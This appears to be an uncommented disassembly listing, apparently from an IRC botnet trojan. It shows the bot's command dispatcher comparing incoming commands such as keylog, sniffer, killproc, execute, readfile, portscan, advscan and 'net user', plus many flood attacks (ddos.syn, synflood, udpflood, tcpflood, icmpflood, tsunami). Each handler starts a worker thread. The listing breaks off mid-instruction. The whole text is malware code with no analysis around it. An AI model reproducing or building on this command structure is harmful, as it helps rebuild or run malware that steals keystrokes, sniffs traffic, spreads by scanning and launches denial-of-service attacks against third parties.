loc_409407 push edi ; Str2 push offset aKillproc ; "killproc" call _strcmp pop ecx test eax, eax pop ecx jz loc_4093D7 push edi ; Str2 push offset aKp ; "kp" call _strcmp pop ecx test eax, eax pop ecx jz loc_4093D7 push edi ; Str2 push offset aKill ; "kill" call _strcmp pop ecx test eax, eax pop ecx jz loc_409378 push edi ; Str2 push offset aKi ; "ki" call _strcmp pop ecx test eax, eax pop ecx jz loc_409378 push edi ; Str2 push offset aDelete ; "delete" call _strcmp pop ecx test eax, eax pop ecx jz loc_40933C push edi ; Str2 push offset aDel ; "del" call _strcmp pop ecx test eax, eax pop ecx jz loc_40933C push edi ; Str2 push offset aGet_0 ; "get" call _strcmp pop ecx test eax, eax pop ecx jz loc_40925D push edi ; Str2 push offset aGt ; "gt" call _strcmp pop ecx test eax, eax pop ecx jz loc_40925D push edi ; Str2 push offset aList ; "list" call _strcmp pop ecx test eax, eax pop ecx jz loc_40923B push edi ; Str2 push offset aLi ; "li" call _strcmp pop ecx test eax, eax pop ecx jz loc_40923B push edi ; Str2 push offset aVisit ; "visit" call _strcmp pop ecx test eax, eax pop ecx jz loc_409147 push edi ; Str2 push offset aV ; "v" call _strcmp pop ecx test eax, eax pop ecx jz loc_409147 push edi ; Str2 push offset aMirccmd ; "mirccmd" call _strcmp pop ecx test eax, eax pop ecx jz loc_409110 push edi ; Str2 push offset aMirc ; "mirc" call _strcmp pop ecx test eax, eax pop ecx jz loc_409110 push edi ; Str2 push offset aCmd ; "cmd" call _strcmp pop ecx test eax, eax pop ecx jz loc_4090A6 push edi ; Str2 push offset aCm ; "cm" call _strcmp pop ecx test eax, eax pop ecx jz loc_4090A6 push edi ; Str2 push offset aReadfile ; "readfile" call _strcmp pop ecx test eax, eax pop ecx jz loc_409029 push edi ; Str2 push offset aRf ; "rf" call _strcmp pop ecx test eax, eax pop ecx jz loc_409029 push edi ; Str2 push offset aPsniff ; "psniff" call _strcmp pop ecx test eax, eax pop ecx jnz loc_405C7C push [ebp+Source] ; Str2 push offset aOn ; "on" call _strcmp pop ecx test eax, eax pop ecx jnz loc_405C42 push 20h call sub_40B33F test eax, eax pop ecx jle short loc_405B6C push offset dword_42B94C jmp loc_406F05 ; --------------------------------------------------------------------------- loc_405B6C: ; CODE XREF: sub_401ACD+4093j mov eax, [ebp+arg_4] mov esi, [ebp+esi+Format] mov [ebp+var_EC4], eax mov eax, [ebp+var_4] mov [ebp+var_E3C], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_E38], eax jnz short loc_405BAE mov esi, offset aF_1 ; "#f" push offset byte_43D808 ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_405BAE mov esi, [ebp+Format] loc_405BAE: ; CODE XREF: sub_401ACD+40C3j ; sub_401ACD+40D9j push esi ; Format lea eax, [ebp+var_EC0] push 80h ; Count push eax ; Dest call __snprintf add esp, 0Ch lea eax, [ebp+Dst] push offset asc_42B91C ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 20h ; int push eax ; Source call sub_40B0F7 add esp, 14h mov [ebp+var_E40], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_EC4] push ebx push eax push offset sub_411FD6 push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_E40] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_405C31 loc_405C1B: ; CODE XREF: sub_401ACD+4162j cmp [ebp+var_E34], ebx jnz loc_40828C push 32h call ds:dword_427078 ; Sleep jmp short loc_405C1B ; --------------------------------------------------------------------------- loc_405C31: ; CODE XREF: sub_401ACD+414Cj call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset dword_42B8E0 jmp loc_4049EC ; --------------------------------------------------------------------------- loc_405C42: ; CODE XREF: sub_401ACD+4083j push [ebp+Source] ; Str2 push offset Str2 ; "off" call _strcmp pop ecx test eax, eax pop ecx jnz loc_40828C push ebx push 20h call sub_40B2F2 pop ecx cmp eax, ebx pop ecx jle short loc_405C72 push eax push offset dword_42B8A4 jmp loc_4049EC ; --------------------------------------------------------------------------- loc_405C72: ; CODE XREF: sub_401ACD+4198j push offset dword_42B878 jmp loc_406F05 ; --------------------------------------------------------------------------- loc_405C7C: ; CODE XREF: sub_401ACD+406Cj push edi ; Str2 push offset aSniffer ; "sniffer" call _strcmp pop ecx test eax, eax pop ecx jnz loc_405DCE push [ebp+Source] ; Str2 push offset aOn ; "on" call _strcmp pop ecx test eax, eax pop ecx jnz loc_405D94 push 21h call sub_40B33F test eax, eax pop ecx jle short loc_405CBE push offset unk_42B850 jmp loc_406F05 ; --------------------------------------------------------------------------- loc_405CBE: ; CODE XREF: sub_401ACD+41E5j mov eax, [ebp+arg_4] mov esi, [ebp+esi+Format] mov [ebp+var_FEC], eax mov eax, [ebp+var_4] mov [ebp+var_F64], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_F60], eax jnz short loc_405D00 mov esi, offset aF_1 ; "#f" push offset byte_43D808 ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_405D00 mov esi, [ebp+Format] loc_405D00: ; CODE XREF: sub_401ACD+4215j ; sub_401ACD+422Bj push esi ; Format lea eax, [ebp+var_FE8] push 80h ; Count push eax ; Dest call __snprintf add esp, 0Ch lea eax, [ebp+Dst] push offset asc_42B820 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 21h ; int push eax ; Source call sub_40B0F7 add esp, 14h mov [ebp+var_F68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FEC] push ebx push eax push offset sub_412661 push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_F68] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_405D83 loc_405D6D: ; CODE XREF: sub_401ACD+42B4j cmp [ebp+var_F5C], ebx jnz loc_40828C push 32h call ds:dword_427078 ; Sleep jmp short loc_405D6D ; --------------------------------------------------------------------------- loc_405D83: ; CODE XREF: sub_401ACD+429Ej call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42B7E4 jmp loc_4049EC ; --------------------------------------------------------------------------- loc_405D94: ; CODE XREF: sub_401ACD+41D5j push [ebp+Source] ; Str2 push offset Str2 ; "off" call _strcmp pop ecx test eax, eax pop ecx jnz loc_40828C push ebx push 21h call sub_40B2F2 pop ecx cmp eax, ebx pop ecx jle short loc_405DC4 push eax push offset unk_42B7A4 jmp loc_4049EC ; --------------------------------------------------------------------------- loc_405DC4: ; CODE XREF: sub_401ACD+42EAj push offset unk_42B774 jmp loc_406F05 ; --------------------------------------------------------------------------- loc_405DCE: ; CODE XREF: sub_401ACD+41BEj push edi ; Str2 push offset aIdent ; "ident" call _strcmp pop ecx test eax, eax pop ecx jnz loc_405EA3 push [ebp+Source] ; Str2 push offset aOn ; "on" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_405E69 push 2 call sub_40B33F test eax, eax pop ecx jle short loc_405E0C push offset dword_42B74C jmp loc_406F05 ; --------------------------------------------------------------------------- loc_405E0C: ; CODE XREF: sub_401ACD+4333j lea eax, [ebp+Dst] push offset asc_42B720 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 2 ; int push eax ; Source call sub_40B0F7 add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset sub_4101FD push ebx push ebx call ds:dword_42707C ; CreateThread imul esi, 234h cmp eax, ebx mov dword_43E5A4[esi], eax jnz loc_40828C call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset dword_42B6EC jmp loc_4049EC ; --------------------------------------------------------------------------- loc_405E69: ; CODE XREF: sub_401ACD+4327j push [ebp+Source] ; Str2 push offset Str2 ; "off" call _strcmp pop ecx test eax, eax pop ecx jnz loc_40828C push ebx push 2 call sub_40B2F2 pop ecx cmp eax, ebx pop ecx jle short loc_405E99 push eax push offset dword_42B6B4 jmp loc_4049EC ; --------------------------------------------------------------------------- loc_405E99: ; CODE XREF: sub_401ACD+43BFj push offset dword_42B694 jmp loc_406F05 ; --------------------------------------------------------------------------- loc_405EA3: ; CODE XREF: sub_401ACD+4310j push edi ; Str2 push offset aKeylog ; "keylog" call _strcmp pop ecx test eax, eax pop ecx jnz loc_406020 push [ebp+Source] ; Str2 push offset aOn ; "on" call _strcmp pop ecx mov edi, offset aFile ; "file" test eax, eax pop ecx jz short loc_405F19 push [ebp+Source] ; Str2 push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_405F19 push [ebp+Source] ; Str2 push offset Str2 ; "off" call _strcmp pop ecx test eax, eax pop ecx jnz loc_40828C push ebx push 23h call sub_40B2F2 pop ecx cmp eax, ebx pop ecx jle short loc_405F0F push eax push offset dword_42B648 jmp loc_4049EC ; --------------------------------------------------------------------------- loc_405F0F: ; CODE XREF: sub_401ACD+4435j push offset dword_42B61C jmp loc_406F05 ; --------------------------------------------------------------------------- loc_405F19: ; CODE XREF: sub_401ACD+4401j ; sub_401ACD+4410j push 23h call sub_40B33F test eax, eax pop ecx jle short loc_405F2F push offset dword_42B5FC jmp loc_406F05 ; --------------------------------------------------------------------------- loc_405F2F: ; CODE XREF: sub_401ACD+4456j mov eax, [ebp+arg_4] push [ebp+Source] ; Str2 mov [ebp+var_C5C], eax mov eax, [ebp+var_4] push edi ; Str1 mov [ebp+var_BD4], eax call _strcmp pop ecx test eax, eax pop ecx jnz short loc_405F5C mov [ebp+var_BD0], 1 jmp short loc_405F65 ; --------------------------------------------------------------------------- loc_405F5C: ; CODE XREF: sub_401ACD+4481j mov eax, [ebp+var_8] mov [ebp+var_BD0], eax loc_405F65: ; CODE XREF: sub_401ACD+448Dj mov esi, [ebp+esi+Format] cmp esi, ebx jnz short loc_405F8C mov esi, offset aF_0 ; "#f" push offset byte_43D808 ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_405F8C mov esi, [ebp+Format] loc_405F8C: ; CODE XREF: sub_401ACD+44A1j ; sub_401ACD+44B7j push esi ; Format lea eax, [ebp+var_C54] push 80h ; Count push eax ; Dest call __snprintf add esp, 0Ch lea eax, [ebp+Dst] push offset asc_42B5D8 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 23h ; int push eax ; Source call sub_40B0F7 add esp, 14h mov [ebp+var_C58], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C5C] push ebx push eax push offset sub_411CF5 push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_C58] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40600F loc_405FF9: ; CODE XREF: sub_401ACD+4540j cmp [ebp+var_BCC], ebx jnz loc_40828C push 32h call ds:dword_427078 ; Sleep jmp short loc_405FF9 ; --------------------------------------------------------------------------- loc_40600F: ; CODE XREF: sub_401ACD+452Aj call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset dword_42B59C jmp loc_4049EC ; --------------------------------------------------------------------------- loc_406020: ; CODE XREF: sub_401ACD+43E5j push edi ; Str2 push offset aNet ; "net" call _strcmp pop ecx test eax, eax pop ecx jnz loc_406270 cmp dword_4CB724, ebx jz short loc_40604F cmp dword_4CB74C, ebx jz short loc_40604F push offset unk_42B560 jmp loc_4085D6 ; --------------------------------------------------------------------------- loc_40604F: ; CODE XREF: sub_401ACD+456Ej ; sub_401ACD+4576j cmp [ebp+var_C], ebx jz loc_406CDF mov edi, [ebp+esi+Format] mov [ebp+Src], ebx cmp edi, ebx jz short loc_406074 push edi ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx mov [ebp+Src], eax pop ecx loc_406074: ; CODE XREF: sub_401ACD+4597j push [ebp+Source] ; Str2 push offset aStart ; "start" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4060C1 cmp edi, ebx jz short loc_406095 push [ebp+Src] push 3 jmp loc_406127 ; --------------------------------------------------------------------------- loc_406095: ; CODE XREF: sub_401ACD+45BCj push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_41895C add esp, 0Ch test eax, eax jz short loc_4060B7 push offset unk_42B534 jmp loc_4085D6 ; --------------------------------------------------------------------------- loc_4060B7: ; CODE XREF: sub_401ACD+45DEj push offset unk_42B514 jmp loc_4085D6 ; --------------------------------------------------------------------------- loc_4060C1: ; CODE XREF: sub_401ACD+45B8j push [ebp+Source] ; Str2 push offset aStop ; "stop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4060DB push [ebp+Src] push 4 jmp short loc_406127 ; --------------------------------------------------------------------------- loc_4060DB: ; CODE XREF: sub_401ACD+4605j push [ebp+Source] ; Str2 push offset aPause ; "pause" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4060F5 push [ebp+Src] push 5 jmp short loc_406127 ; --------------------------------------------------------------------------- loc_4060F5: ; CODE XREF: sub_401ACD+461Fj push [ebp+Source] ; Str2 push offset aContinue ; "continue" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40610F push [ebp+Src] push 6 jmp short loc_406127 ; --------------------------------------------------------------------------- loc_40610F: ; CODE XREF: sub_401ACD+4639j push [ebp+Source] ; Str2 push offset aDelete ; "delete" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_406139 push [ebp+Src] push 1 loc_406127: ; CODE XREF: sub_401ACD+45C3j ; sub_401ACD+460Cj ... call sub_4186C2 pop ecx pop ecx loc_40612E: ; CODE XREF: sub_401ACD+46A2j ; sub_401ACD+472Aj ... push eax push offset aS_6 ; "%s" jmp loc_406CD0 ; --------------------------------------------------------------------------- loc_406139: ; CODE XREF: sub_401ACD+4653j push [ebp+Source] ; Str2 push offset aShare ; "share" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40619E cmp edi, ebx jz short loc_406171 cmp [ebp+var_8FC], bl jz short loc_40615E push ebx push edi push 1 jmp short loc_406167 ; --------------------------------------------------------------------------- loc_40615E: ; CODE XREF: sub_401ACD+4689j push [ebp+esi+Str2] ; int push edi ; Str push ebx ; int loc_406167: ; CODE XREF: sub_401ACD+468Fj call sub_418A99 add esp, 0Ch jmp short loc_40612E ; --------------------------------------------------------------------------- loc_406171: ; CODE XREF: sub_401ACD+4681j push ebx ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_418C8F add esp, 10h test eax, eax jz short loc_406194 push offset unk_42B4CC jmp loc_4085D6 ; --------------------------------------------------------------------------- loc_406194: ; CODE XREF: sub_401ACD+46BBj push offset unk_42B4AC jmp loc_4085D6 ; --------------------------------------------------------------------------- loc_40619E: ; CODE XREF: sub_401ACD+467Dj push [ebp+Source] ; Str2 push offset aUser_0 ; "user" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_406229 cmp edi, ebx jz short loc_4061FC cmp [ebp+var_8FC], bl jz short loc_4061CF push [ebp+var_4] push [ebp+Format] push [ebp+arg_4] push ebx push edi push 1 jmp short loc_4061EF ; --------------------------------------------------------------------------- loc_4061CF: ; CODE XREF: sub_401ACD+46EEj push [ebp+var_4] ; int mov esi, [ebp+esi+Str2] cmp esi, ebx push [ebp+Format] ; Str push [ebp+arg_4] ; int jz short loc_4061EB push esi push edi push ebx jmp short loc_4061EF ; --------------------------------------------------------------------------- loc_4061EB: ; CODE XREF: sub_401ACD+4717j push ebx ; int push edi ; int push 2 ; int loc_4061EF: ; CODE XREF: sub_401ACD+4700j ; sub_401ACD+471Cj call sub_418DB0 add esp, 18h jmp loc_40612E ; --------------------------------------------------------------------------- loc_4061FC: ; CODE XREF: sub_401ACD+46E6j push ebx ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_4192E0 add esp, 10h test eax, eax jz short loc_40621F push offset unk_42B48C jmp loc_4085D6 ; --------------------------------------------------------------------------- loc_40621F: ; CODE XREF: sub_401ACD+4746j push offset unk_42B46C jmp loc_4085D6 ; --------------------------------------------------------------------------- loc_406229: ; CODE XREF: sub_401ACD+46E2j push [ebp+Source] ; Str2 push offset aSend_0 ; "send" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_406266 cmp edi, ebx jz short loc_40625C push [ebp+var_4] push [ebp+Format] push [ebp+arg_4] push [ebp+Src] ; Source call sub_419594 add esp, 10h jmp loc_40612E ; --------------------------------------------------------------------------- loc_40625C: ; CODE XREF: sub_401ACD+4771j push offset unk_42B440 jmp loc_4085D6 ; --------------------------------------------------------------------------- loc_406266: ; CODE XREF: sub_401ACD+476Dj push offset unk_42B424 jmp loc_4085D6 ; --------------------------------------------------------------------------- loc_406270: ; CODE XREF: sub_401ACD+4562j push edi ; Str2 push offset aCapture ; "capture" call _strcmp pop ecx test eax, eax pop ecx jz loc_408DFE push edi ; Str2 push offset aCap ; "cap" call _strcmp pop ecx test eax, eax pop ecx jz loc_408DFE push edi ; Str2 push offset aGethost ; "gethost" call _strcmp pop ecx test eax, eax pop ecx jz loc_408D0A push edi ; Str2 push offset aGh ; "gh" call _strcmp pop ecx test eax, eax pop ecx jz loc_408D0A loc_4062C4: ; CODE XREF: sub_401ACD+3CBEj ; sub_401ACD+3CEDj ... mov edi, [ebp+esi+Format] cmp edi, ebx mov [ebp+arg_1C], edi jz loc_401E94 push [ebp+arg_8] ; Str2 push offset aKilllog ; "killlog" call _strcmp pop ecx test eax, eax pop ecx jz loc_408CF0 push [ebp+arg_8] ; Str2 push offset aKl ; "kl" call _strcmp pop ecx test eax, eax pop ecx jz loc_408CF0 push [ebp+arg_8] ; Str2 push offset aAddalias ; "addalias" call _strcmp pop ecx test eax, eax pop ecx jz loc_408CAD push [ebp+arg_8] ; Str2 push offset aAa ; "aa" call _strcmp pop ecx test eax, eax pop ecx jz loc_408CAD push [ebp+arg_8] ; Str2 push offset aPrivmsg_0 ; "privmsg" call _strcmp pop ecx test eax, eax pop ecx jz loc_408C58 push [ebp+arg_8] ; Str2 push offset aPm ; "pm" call _strcmp pop ecx test eax, eax pop ecx jz loc_408C58 push [ebp+arg_8] ; Str2 push offset aAction ; "action" call _strcmp pop ecx test eax, eax pop ecx jz loc_408BEB push [ebp+arg_8] ; Str2 push offset aA ; "a" call _strcmp pop ecx test eax, eax pop ecx jz loc_408BEB push [ebp+arg_8] ; Str2 push offset aCycle ; "cycle" call _strcmp pop ecx test eax, eax pop ecx jz loc_408B87 push [ebp+arg_8] ; Str2 push offset aCy ; "cy" call _strcmp pop ecx test eax, eax pop ecx jz loc_408B87 push [ebp+arg_8] ; Str2 push offset aMode ; "mode" call _strcmp pop ecx test eax, eax pop ecx jz loc_408B4B push [ebp+arg_8] ; Str2 push offset aM_0 ; "m" call _strcmp pop ecx test eax, eax pop ecx jz loc_408B4B push [ebp+arg_8] ; Str2 push offset aC_raw ; "c_raw" call _strcmp pop ecx test eax, eax pop ecx jz loc_408ADC push [ebp+arg_8] ; Str2 push offset aC_r ; "c_r" call _strcmp pop ecx test eax, eax pop ecx jz loc_408ADC push [ebp+arg_8] ; Str2 push offset aC_mode ; "c_mode" call _strcmp pop ecx test eax, eax pop ecx jz loc_408A56 push [ebp+arg_8] ; Str2 push offset aC_m ; "c_m" call _strcmp pop ecx test eax, eax pop ecx jz loc_408A56 push [ebp+arg_8] ; Str2 push offset aC_nick ; "c_nick" call _strcmp pop ecx test eax, eax pop ecx jz loc_4089E6 push [ebp+arg_8] ; Str2 push offset aC_n ; "c_n" call _strcmp pop ecx test eax, eax pop ecx jz loc_4089E6 push [ebp+arg_8] ; Str2 push offset aC_join ; "c_join" call _strcmp pop ecx test eax, eax pop ecx jz loc_4089C0 push [ebp+arg_8] ; Str2 push offset aC_j ; "c_j" call _strcmp pop ecx test eax, eax pop ecx jz loc_4089C0 push [ebp+arg_8] ; Str2 push offset aC_part ; "c_part" call _strcmp pop ecx test eax, eax pop ecx jz loc_40895C push [ebp+arg_8] ; Str2 push offset aC_p ; "c_p" call _strcmp pop ecx test eax, eax pop ecx jz loc_40895C push [ebp+arg_8] ; Str2 push offset aTarga3 ; "targa3" call _strcmp pop ecx test eax, eax pop ecx jz loc_408887 push [ebp+arg_8] ; Str2 push offset aT3 ; "t3" call _strcmp pop ecx test eax, eax pop ecx jz loc_408887 push [ebp+arg_8] ; Str2 push offset aTsunami ; "tsunami" call _strcmp pop ecx test eax, eax pop ecx jz loc_40878C push [ebp+arg_8] ; Str2 push offset aTsn ; "tsn" call _strcmp pop ecx test eax, eax pop ecx jz loc_40878C push [ebp+arg_8] ; Str2 push offset aRepeat ; "repeat" call _strcmp pop ecx test eax, eax pop ecx jz loc_408688 push [ebp+arg_8] ; Str2 push offset aRp ; "rp" call _strcmp pop ecx test eax, eax pop ecx jz loc_408688 push [ebp+arg_8] ; Str2 push offset aDelay ; "delay" call _strcmp pop ecx test eax, eax pop ecx jz loc_4085E9 push [ebp+arg_8] ; Str2 push offset aDe ; "de" call _strcmp pop ecx test eax, eax pop ecx jz loc_4085E9 push [ebp+arg_8] ; Str2 push offset aJpDe10 ; "jp]de10" call _strcmp pop ecx test eax, eax pop ecx jz loc_408458 push [ebp+arg_8] ; Str2 push offset aJp10 ; "jp]10" call _strcmp pop ecx test eax, eax pop ecx jz loc_408458 push [ebp+arg_8] ; Str2 push offset aExecute ; "execute" call _strcmp pop ecx test eax, eax pop ecx jz loc_4083C5 push [ebp+arg_8] ; Str2 push offset aE ; "e" call _strcmp pop ecx test eax, eax pop ecx jz loc_4083C5 push [ebp+arg_8] ; Str2 push offset aFindfile ; "findfile" call _strcmp pop ecx test eax, eax pop ecx jz loc_4082B6 push [ebp+arg_8] ; Str2 push offset aFf ; "ff" call _strcmp pop ecx test eax, eax pop ecx jz loc_4082B6 push [ebp+arg_8] ; Str2 push offset aRename ; "rename" call _strcmp pop ecx test eax, eax pop ecx jz loc_40823F push [ebp+arg_8] ; Str2 push offset aMv ; "mv" call _strcmp pop ecx test eax, eax pop ecx jz loc_40823F push [ebp+arg_8] ; Str2 push offset aIcmpflood ; "icmpflood" call _strcmp pop ecx test eax, eax pop ecx jz loc_408142 push [ebp+arg_8] ; Str2 push offset aIcmp ; "icmp" call _strcmp pop ecx test eax, eax pop ecx jz loc_408142 mov eax, [ebp+esi+Str2] cmp eax, ebx mov [ebp+Src], eax jz loc_401E94 push [ebp+arg_8] ; Str2 push offset aClone_0 ; "clone" call _strcmp pop ecx test eax, eax pop ecx jz loc_40805A push [ebp+arg_8] ; Str2 push offset aC_0 ; "c" call _strcmp pop ecx test eax, eax pop ecx jz loc_40805A push [ebp+arg_8] ; Str2 push offset aDdos_syn ; "ddos.syn" call _strcmp pop ecx test eax, eax pop ecx jz loc_407F61 push [ebp+arg_8] ; Str2 push offset aDdos_ack ; "ddos.ack" call _strcmp pop ecx test eax, eax pop ecx jz loc_407F61 push [ebp+arg_8] ; Str2 push offset aDdos_random ; "ddos.random" call _strcmp pop ecx test eax, eax pop ecx jz loc_407F61 push [ebp+arg_8] ; Str2 push offset aWisdom_udp ; "wisdom.udp" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4067D7 push 7Fh lea eax, [ebp+var_327C] pop esi push esi ; Count push [ebp+Source] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_31FC] push edi ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_317C] push [ebp+Src] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_30FC] push [ebp+Format] ; Source push eax ; Dest call _strncpy mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_3074], eax push ebx ; int lea eax, [ebp+Dst] push 13h ; int push eax ; Source mov [ebp+var_3078], edi mov [ebp+var_3280], esi call sub_40B0F7 add esp, 3Ch mov [ebp+var_307C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3280] push ebx push eax push offset sub_4146CF push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_307C] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_4067C6 loc_4067B0: ; CODE XREF: sub_401ACD+4CF7j cmp [ebp+var_3070], ebx jnz loc_403DA1 push 32h call ds:dword_427078 ; Sleep jmp short loc_4067B0 ; --------------------------------------------------------------------------- loc_4067C6: ; CODE XREF: sub_401ACD+4CE1j call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42B298 jmp loc_403D92 ; --------------------------------------------------------------------------- loc_4067D7: ; CODE XREF: sub_401ACD+4C37j push [ebp+arg_8] ; Str2 push offset aSynflood ; "synflood" call _strcmp pop ecx test eax, eax pop ecx jz loc_407E79 push [ebp+arg_8] ; Str2 push offset aSyn ; "syn" call _strcmp pop ecx test eax, eax pop ecx jz loc_407E79 push [ebp+arg_8] ; Str2 push offset aSkysyn ; "skysyn" call _strcmp pop ecx test eax, eax pop ecx jnz loc_406904 push 7Fh lea eax, [ebp+var_36A4] pop esi push esi ; Count push [ebp+Source] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_3624] push edi ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_35A4] push [ebp+Src] ; Source push eax ; Dest call _strncpy push esi ; Count lea eax, [ebp+var_3524] push [ebp+Format] ; Source push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_34A0], eax push [ebp+Src] mov eax, [ebp+var_8] mov [ebp+var_349C], eax lea eax, [ebp+Dst] push edi mov [ebp+var_36A8], esi push [ebp+Source] push offset asc_42B250 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 10h ; int push eax ; Source call sub_40B0F7 add esp, 20h mov [ebp+var_34A4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_36A8] push ebx push eax push offset sub_413627 push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_34A4] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_4068F3 loc_4068DD: ; CODE XREF: sub_401ACD+4E24j cmp [ebp+var_3498], ebx jnz loc_407279 push 32h call ds:dword_427078 ; Sleep jmp short loc_4068DD ; --------------------------------------------------------------------------- loc_4068F3: ; CODE XREF: sub_401ACD+4E0Ej call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset dword_42B214 jmp loc_40726A ; --------------------------------------------------------------------------- loc_406904: ; CODE XREF: sub_401ACD+4D49j push [ebp+arg_8] ; Str2 push offset aPhatwonk ; "phatwonk" call _strcmp pop ecx test eax, eax pop ecx jz loc_407D91 push [ebp+arg_8] ; Str2 push offset aWonk ; "wonk" call _strcmp pop ecx test eax, eax pop ecx jz loc_407D91 push [ebp+arg_8] ; Str2 push offset aJpldg10 ; "jpldg10" call _strcmp pop ecx test eax, eax pop ecx jz loc_407C53 push [ebp+arg_8] ; Str2 push offset aJpl10 ; "jpl10" call _strcmp pop ecx test eax, eax pop ecx jz loc_407C53 push [ebp+arg_8] ; Str2 push offset aRedirect ; "redirect" call _strcmp pop ecx test eax, eax pop ecx jz loc_407B56 push [ebp+arg_8] ; Str2 push offset aRd ; "rd" call _strcmp pop ecx test eax, eax pop ecx jz loc_407B56 push [ebp+arg_8] ; Str2 push offset aScan_0 ; "scan" call _strcmp pop ecx test eax, eax pop ecx jz loc_407A63 push [ebp+arg_8] ; Str2 push offset aSc ; "sc" call _strcmp pop ecx test eax, eax pop ecx jz loc_407A63 push [ebp+arg_8] ; Str2 push offset aC_privmsg ; "c_privmsg" call _strcmp pop ecx test eax, eax pop ecx jz loc_40795E push [ebp+arg_8] ; Str2 push offset aC_pm ; "c_pm" call _strcmp pop ecx test eax, eax pop ecx jz loc_40795E push [ebp+arg_8] ; Str2 push offset aC_action ; "c_action" call _strcmp pop ecx test eax, eax pop ecx jz loc_407866 push [ebp+arg_8] ; Str2 push offset aC_a ; "c_a" call _strcmp pop ecx test eax, eax pop ecx jz loc_407866 mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz loc_401E94 push [ebp+arg_8] ; Str2 push offset aPortscan ; "portscan" call _strcmp pop ecx test eax, eax pop ecx jz loc_407760 push [ebp+arg_8] ; Str2 push offset aPsc ; "psc" call _strcmp pop ecx test eax, eax pop ecx jz loc_407760 push [ebp+arg_8] ; Str2 push offset aAdvscan ; "advscan" call _strcmp pop ecx test eax, eax pop ecx jz loc_407299 push [ebp+arg_8] ; Str2 push offset aAdv ; "adv" call _strcmp pop ecx test eax, eax pop ecx jz loc_407299 push [ebp+arg_8] ; Str2 push offset aUdpflood ; "udpflood" call _strcmp pop ecx test eax, eax pop ecx jz loc_407150 push [ebp+arg_8] ; Str2 push offset aUdp ; "udp" call _strcmp pop ecx test eax, eax pop ecx jz loc_407150 push [ebp+arg_8] ; Str2 push offset aU ; "u" call _strcmp pop ecx test eax, eax pop ecx jz loc_407150 push [ebp+arg_8] ; Str2 push offset aNetsend ; "netsend" call _strcmp pop ecx test eax, eax pop ecx jz loc_407042 push [ebp+arg_8] ; Str2 push offset aNs ; "ns" call _strcmp pop ecx test eax, eax pop ecx jz loc_407042 push [ebp+arg_8] ; Str2 push offset aPingflood ; "pingflood" call _strcmp pop ecx test eax, eax pop ecx jz loc_406F18 push [ebp+arg_8] ; Str2 push offset aPing_0 ; "ping" call _strcmp pop ecx test eax, eax pop ecx jz loc_406F18 push [ebp+arg_8] ; Str2 push offset aP ; "p" call _strcmp pop ecx test eax, eax pop ecx jz loc_406F18 push [ebp+arg_8] ; Str2 push offset aTcpflood ; "tcpflood" call _strcmp pop ecx test eax, eax pop ecx jz loc_406D6F push [ebp+arg_8] ; Str2 push offset aTcp ; "tcp" call _strcmp pop ecx test eax, eax pop ecx jz loc_406D6F push [ebp+arg_8] ; 